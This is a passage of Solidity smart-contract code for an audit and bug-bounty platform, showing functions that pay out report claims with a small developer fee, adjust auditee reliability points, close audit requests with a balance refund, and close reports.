require(reports[_reportID].owner == msg.sender, "claim report: msg.sender is not owner of report");
reports[_reportID].reportstatus = 3;
audits[_contracthash].validated.push(msg.sender);
uint256 amount_nofee = reports[_reportID].payout;
uint256 fee = amount_nofee.div(1000).mul(3);
uint256 amount = amount_nofee.sub(fee);
if (agreed == true) {
totalPendingPayout = totalPendingPayout.sub(amount_nofee);
dev.transfer(fee);
msg.sender.transfer(amount);
} else {
uint256 amountAudit;
for (uint256 i = 0; i < 10; i++) {
if (reports[_reportID].bugreview[i] != 0) {
uint256 riskReview = reports[_reportID].bugreview[i].sub(1);
amountAudit = amountAudit.add(audits[_contracthash].rewards[riskReview]);
}
}
uint256 points = amountAudit.div(10**16);
if (reliability_auditee[audits[_contracthash].owner] > points) {
totalReliability_auditee = totalReliability_auditee.sub(points);
reliability_auditee[audits[_contracthash].owner] = reliability_auditee[audits[_contracthash].owner].sub(points);
} else {
totalReliability_auditee = totalReliability_auditee.sub(reliability_auditee[audits[_contracthash].owner]);
reliability_auditee[audits[_contracthash].owner] = 0;
}
totalPendingPayout = totalPendingPayout.sub(amount_nofee);
dev.transfer(fee);
msg.sender.transfer(amount);
}
emit ClosedReport(_contracthash, _reportID, amount);
return true;
}
function CloseAuditRequest(bytes32 _contracthash) public returns (bool success) {
require(audits[_contracthash].owner == msg.sender, "close audit: msg.sender is not owner of audit");
require(audits[_contracthash].closed == false, "close audit: audit is closed");
uint256 pending;
for (uint256 i = 0; i < audits[_contracthash].reportIndex; i++) {
uint256 reportID = audits[_contracthash].reports[i];
uint256 reportstatus = reports[reportID].reportstatus;
if (reportstatus == 1) {
pending = pending.add(1);
}
}
require(pending == 0, "close audit: there is an open report");
uint256 amount = audits[_contracthash].balance;
uint256 index_total = audit_index[_contracthash];
uint256 pendingIndex = total_pending[index_total];
uint256 replace = pending_total[indexPending.sub(1)];
audits[_contracthash].closed = true;
totalRewardAvailable = totalRewardAvailable.sub(audits[_contracthash].balance);
audits[_contracthash].balance = 0;
pending_total[pendingIndex] = replace;
total_pending[replace] = pendingIndex;
pending_total[indexPending.sub(1)] = 0;
total_pending[index_total] = 0;
indexPending = indexPending.sub(1);
msg.sender.transfer(amount);
emit ClosedAudit(_contracthash, amount);
return true;
}
function CloseReport(uint256 _reportID) public returns (bool success) {
require(reports[_reportID].reportstatus == 1, "close report: report is closed");
require(reports[_reportID].owner == msg.sender, "close report: not the owner");
reports[_reportID].reportstatus = 3;
emit ClosedReport(reports[_reportID].auditid, _reportID, 0);
return true;
}
}
| 275,592 | 11,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.